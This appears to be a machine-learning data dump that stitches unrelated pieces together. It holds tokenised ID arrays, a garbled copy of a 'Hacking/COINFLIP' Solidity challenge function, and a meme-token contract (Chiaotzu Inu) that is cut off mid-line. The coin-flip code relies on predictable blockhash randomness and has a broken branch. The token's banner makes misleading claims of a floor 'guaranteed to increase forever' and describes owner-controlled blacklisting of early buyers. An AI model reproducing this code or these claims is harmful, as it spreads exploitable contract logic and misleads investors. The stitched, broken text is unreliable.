[ 1, 565, 445, 389, 5771, 1345, 5912, 12, 2867, 628, 16, 1758, 358, 16, 2254, 5034, 1147, 548, 13, 2713, 3849, 288, 203, 3639, 309, 12, 2080, 480, 1758, 12, 20, 3719, 203, 5411, 2583, 12, 82, 1222, 5555, 63, 2316, 548, 6362, 50, 4464, 7716, 67, 3000, 7474, 65, 422, 374, 597, 261, 869, 422, 1758, 12, 20, 13, 747, 3012, 538, 18, 588, 5775, 12, 2080, 16, 1059, 13, 422, 629, 10019, 203, 565, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/4/0xD44B490e1dBe41115C59c7f32A0B6AEDBF44f051/sources/Hacking/COINFLIP/CoinFlip.sol
IF side is equal to guess then side returns as true
function flip(bool _guess) public returns (bool) { uint256 blockValue = uint256(blockhash(block.number.sub(1))); if (lastHash == blockValue) { revert(); } lastHash = blockValue; uint256 coinFlip = blockValue.div(FACTOR); bool side = coinFlip == 1 ? true : false; if (side == _guess) { consecutiveWins++; return true; consecutiveWins = 0; return false; } }
12,417,727
[ 1, 5501, 4889, 353, 3959, 358, 7274, 1508, 4889, 1135, 487, 638, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 9668, 12, 6430, 389, 20885, 13, 1071, 1135, 261, 6430, 13, 288, 203, 565, 2254, 5034, 1203, 620, 273, 2254, 5034, 12, 2629, 2816, 12, 2629, 18, 2696, 18, 1717, 12, 21, 3719, 1769, 203, 203, 565, 309, 261, 2722, 2310, 422, 1203, 620, 13, 288, 203, 1377, 15226, 5621, 203, 565, 289, 203, 203, 565, 1142, 2310, 273, 1203, 620, 31, 203, 565, 2254, 5034, 13170, 28535, 273, 1203, 620, 18, 2892, 12, 26835, 1769, 203, 565, 1426, 4889, 273, 13170, 28535, 422, 404, 692, 638, 294, 629, 31, 203, 203, 565, 309, 261, 5564, 422, 389, 20885, 13, 288, 203, 1377, 18221, 59, 2679, 9904, 31, 203, 1377, 327, 638, 31, 203, 4202, 203, 1377, 18221, 59, 2679, 273, 374, 31, 203, 1377, 327, 629, 31, 203, 565, 289, 203, 225, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/* _ _____ _ _ _____ ___ _____ __ | | / __ \| | | ||_ _| / _ \ | _ | / _| / __)| / \/| |_| | | | / /_\ \| | | | | |_ ___ _ __ ___ ___ \__ \| | | _ | | | | _ || | | | | _| / _ \ | '__| / __| / _ \ ( /| \__/\| | | | _| |_ | | | |\ \_/ / | | | (_) || | | (__ | __/ |_| \____/\_| |_/ \___/ \_| |_/ \___/ |_| \___/ |_| \___| \___| Perhaps the most proper and popular smart contract ever written. WEBSITE: https://www.chiao.io/ WHITEPAPER: https://www.chiao.io/whitepaper CertiK AUDIT: https://www.certik.com/projects/chiaotzu-inu Unlike most projects, Chiaotzu Inu will be audited BEFORE LAUNCH! We do this to ensure your investment is as safe and secure as possible. MAIN TELEGRAM (English): https://t.me/chiaotoken DISCORD: https://discord.io/CHIAO TWITTER: https://twitter.com/chiaotoken REDDIT: https://www.reddit.com/r/chiaotoken/ MEDIUM: https://chiaotzutoken.medium.com/ INSTAGRAM: https://www.instagram.com/chiaotzuinu/ FACEBOOK: https://www.facebook.com/ChiaotzuInuToken SLIPPAGE: Set your slippage to 50% on Uniswap to avoid failed transactions and any other problems. Chiaotzu Inu uses advanced anti-bot scripting which makes front-running impossible for bots, even with such high slippage. TOKEN FEE STRUCTURE: ABSOLUTELY NO FEE OR TAX ON REGULAR SEND / RECEIVE TRANSACTIONS! Chiaotzu Inu only charges taxes on Buy and Sell Transactions! ON BUY 14% —10% Marketing | —2% Auto LP | —1% Reflections | —1% Development ON SELL 16% —10% Marketing | —2% Auto LP | —2% Reflections | —2% Development ON EARLY SELL 30% (24 HOURS FROM THE FIRST AND ONLY THE FIRST BUY PER WALLET): —24% Marketing | —2% Auto LP | —2% Reflections | —2% Development Chiaotzu Inu will charge taxes on send / receive transactions during the early sell period. TOKEN DEFAULT THRESHOLDS: Max Buy & Sell Limit: 0.5% Max Wallet Size: 2% DISTRIBUTION: —75% Tradable Liquidity | 20% EVM Bridges (BSC, FTM, etc...) | 5% CEX (Binance, OKEx, Bitmart & many many more) LOCKED LIQUIDITY: As you can see, Chiaotzu Inu is very transparent and will honor this transparency by locking 100% of the tradable liquidity on Unicrypt for 1 year before trading is actually opened up to the public. This will give $CHIAO investors an undeniable and unmatched trust score. Safely invest with total confidence knowing you can believe in your Chiao Force! Chiao Force may also lock the Project tokens in anticipation of Bridging and CEX listings before Open trading to ensure a trusted environment is made suitable for early adoption of the platform. ZERO-BOT TOLERANCE: For the first 5 blocks after Chiaotzu Inu opens trading on mainnet, all wallets who buy during this time will be blacklisted and unable to sell their tokens. If a normal user who is not a bot buys during this time, they may request to be unblacklisted at chiao.io/whitelist and may be granted the ability to sell their tokens again if Chiao Force sees them fit. AUTOMATED LIQUIDITY TOKEN BURNS: $CHIAO's floor is literally guaranteed to increase forever. Chiaotzu Inu's smart contract automatically burns LP tokens at a rate of 0.25% per hour, this rate may also be increased and never decreased, which will raise the value of all holders at a much faster rate! */ // SPDX-License-Identifier: MIT pragma solidity 0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } contract ERC20 is Context, IERC20, IERC20Metadata { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract ChiaotzuInu is ERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100 * 1e12 * 1e18; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 public maxTransactionAmount = _tTotal * 5 / 1000; // 0.5% maxTransactionAmountTxn uint256 public maxWallet = _tTotal * 2 / 100; // 2% maxWallet uint256 public swapTokensAtAmount = _tTotal * 1 / 100000; // 0.001% swap wallet IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; address public constant deadAddress = address(0xdead); bool private swapping; address public marketingWallet; address public devWallet; uint256 public percentForLPBurn = 25; // 25 = .25% bool public lpBurnEnabled = true; uint256 public lpBurnFrequency = 3600 seconds; uint256 public lastLpBurnTime; uint256 public manualBurnFrequency = 30 minutes; uint256 public lastManualLpBurnTime; bool public limitsInEffect = true; bool public tradingActive = false; bool public swapEnabled = false; // Anti-bot and anti-whale mappings and variables mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch bool public transferDelayEnabled = true; uint256 public buyTotalFees; uint256 public buyMarketingFee = 10; uint256 public buyLiquidityFee = 2; uint256 public buyDevFee = 1; uint256 public buyReflectionFee = 1; uint256 public sellTotalFees; uint256 public sellMarketingFee = 10; uint256 public sellLiquidityFee = 2; uint256 public sellDevFee = 2; uint256 public sellReflectionFee = 2; // Penalty Fee for first Sell uint256 public totalFeesForPenalty; uint256 public earlySellMarketingFee = 24; uint256 public earlySellLiquidityFee = 2; // Penalty Fee Time uint256 public _penaltyFeeTime = 86400; // by seconds units // Bots mapping(address => bool) public bots; // block number of opened trading uint256 launchedAt; uint256 public tokensForMarketing; uint256 public tokensForLiquidity; uint256 public tokensForDev; mapping (address => uint256) private _holderFirstBuyTimestamp; /******************/ // exclude from fees, max transaction amount and max wallet amount mapping (address => bool) private _isExcludedFromFees; mapping (address => bool) public _isExcludedMaxTransactionAmount; mapping (address => bool) public _isExcludedMaxWalletAmount; // store addresses that a automatic market maker pairs. Any transfer *to* these addresses // could be subject to a maximum transfer amount mapping (address => bool) public automatedMarketMakerPairs; event ExcludeFromFees(address indexed account, bool isExcluded); event ExcludeFromMaxTransaction(address indexed account, bool isExcluded); event ExcludeFromMaxWallet(address indexed account, bool isExcluded); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event MarketingWalletUpdated(address indexed newWallet, address indexed oldWallet); event DevWalletUpdated(address indexed newWallet, address indexed oldWallet); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity ); event AutoNukeLP(); event ManualNukeLP(); constructor() ERC20("Chiaotzu Inu", "CHIAO") { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); excludeFromMaxTransaction(address(_uniswapV2Router), true); excludeFromMaxWallet(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); excludeFromMaxTransaction(address(uniswapV2Pair), true); excludeFromMaxWallet(address(uniswapV2Pair), true); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; totalFeesForPenalty = earlySellMarketingFee + earlySellLiquidityFee + sellDevFee; marketingWallet = address(0x42BC308cbf38AB82a4BF8e35cC7c99d145d078c4); // set as marketing wallet devWallet = address(0x6421722a7C92dE9deEA6fA88Bb37EC6bc183D725); // set as dev wallet _rOwned[_msgSender()] = _rTotal; // exclude from paying fees or having max transaction amount, max wallet amount excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(0xdead), true); excludeFromMaxWallet(owner(), true); excludeFromMaxWallet(address(this), true); excludeFromMaxWallet(address(0xdead), true); /* _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again */ _mint(msg.sender, _tTotal); } receive() external payable {} // once enabled, can never be turned off function enableTrading() external onlyOwner { tradingActive = true; swapEnabled = true; lastLpBurnTime = block.timestamp; launchedAt = block.number; } // remove limits after token is stable function removeLimits() external onlyOwner returns (bool) { limitsInEffect = false; return true; } // disable Transfer delay - cannot be reenabled function disableTransferDelay() external onlyOwner returns (bool) { transferDelayEnabled = false; return true; } // change the minimum amount of tokens to swap function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool) { require(newAmount >= (totalSupply() * 1 / 100000) / 1e18, "Swap amount cannot be lower than 0.001% total supply."); require(newAmount <= (totalSupply() * 5 / 1000) / 1e18, "Swap amount cannot be higher than 0.5% total supply."); swapTokensAtAmount = newAmount 